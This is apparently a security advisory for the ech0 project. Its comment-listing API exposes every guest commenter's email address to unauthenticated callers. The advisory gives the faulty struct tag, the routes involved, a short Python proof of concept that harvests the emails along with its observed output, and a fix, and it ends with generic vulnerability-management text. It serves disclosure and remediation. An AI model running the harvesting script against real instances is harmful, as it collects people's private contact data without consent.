The Comment model serializes its Email field through the public comment-listing API. internal/model/comment/comment.go:33 uses json:"email", while adjacent PII fields (IPHash, UserAgent) correctly use json:"-". The public endpoints GET /api/comments?echo_id=X and GET /api/comments/public?limit=N both live on PublicRouterGroup with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.
The Comment model at internal/model/comment/comment.go:33:
type Comment struct {
// ...
Email string `gorm:"size:255;not null;index" json:"email"`
IPHash string `gorm:"size:128;index" json:"-"`
UserAgent string `gorm:"size:512" json:"-"`
// ...
}
The json:"-" on IPHash and UserAgent shows the developer's intent: hide server-side PII from API responses. The Email field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.
Routes at internal/router/comment.go:20 and comment public-feed route:
appRouterGroup.PublicRouterGroup.GET("/comments", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())
appRouterGroup.PublicRouterGroup.GET("/comments/public", middleware.NoCache(), h.CommentHandler.ListPublicComments())
Both handlers call ListPublicByEchoID (service at internal/service/comment/comment.go:329) or ListPublicComments (service at :340), both of which return the slice of Comment structs to ctx.JSON. No DTO projection, no field stripping.
The email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.
GHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on GET /api/allusers, which exposed account-owner emails. This report covers a distinct endpoint (/api/comments and /api/comments/public) and a distinct data subject (guest commenters, not registered account owners).
Anonymous caller harvests commenter emails on the default install:
import requests
TARGET = "http://localhost:8300"
# Any echo UUID from the public feed.
pub_id = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()["data"]["items"][0]["id"]
# No auth header. The response includes the raw email field.
r = requests.get(f"{TARGET}/api/comments", params={"echo_id": pub_id})
for c in r.json()["data"]:
print(f" nickname={c['nickname']!r} email={c.get('email')!r}")
# The /public variant returns recent comments across every echo.
r = requests.get(f"{TARGET}/api/comments/public", params={"limit": 100})
emails = {c.get("email") for c in r.json()["data"] if c.get("email")}
print(f"harvested {len(emails)} unique emails from /comments/public")
Observed on v4.5.6:
nickname='GuestHarvestMe' email='[email protected]'
harvested 1 unique emails from /comments/public
The instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.
Anonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against /api/comments/public. Privacy-regulation exposure follows:
No authentication required. No admin role required. The /comments/public endpoint returns cross-echo aggregated data, so one call covers the whole instance.
Change the JSON tag on the Email field to match the adjacent PII fields:
Email string `gorm:"size:255;not null;index" json:"-"`
Or, if some authenticated view needs the email, introduce a PublicComment DTO that projects only non-sensitive fields:
type PublicComment struct {
ID string `json:"id"`
EchoID string `json:"echo_id"`
Nickname string `json:"nickname"`
Website string `json:"website,omitempty"`
Content string `json:"content"`
Status string `json:"status"`
Hot bool `json:"hot"`
Source string `json:"source"`
CreatedAt int64 `json:"created_at"`
UpdatedAt int64 `json:"updated_at"`
}
Project the handler output through this DTO. Keep the raw Comment struct internal to the service layer.
Found by aisafe.io
| Software | From | Fixed in |
|---|---|---|
github.com/lin-snow/ech0
|
- | 1.4.8-0.20260503034700-cb8d7a997dd8 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.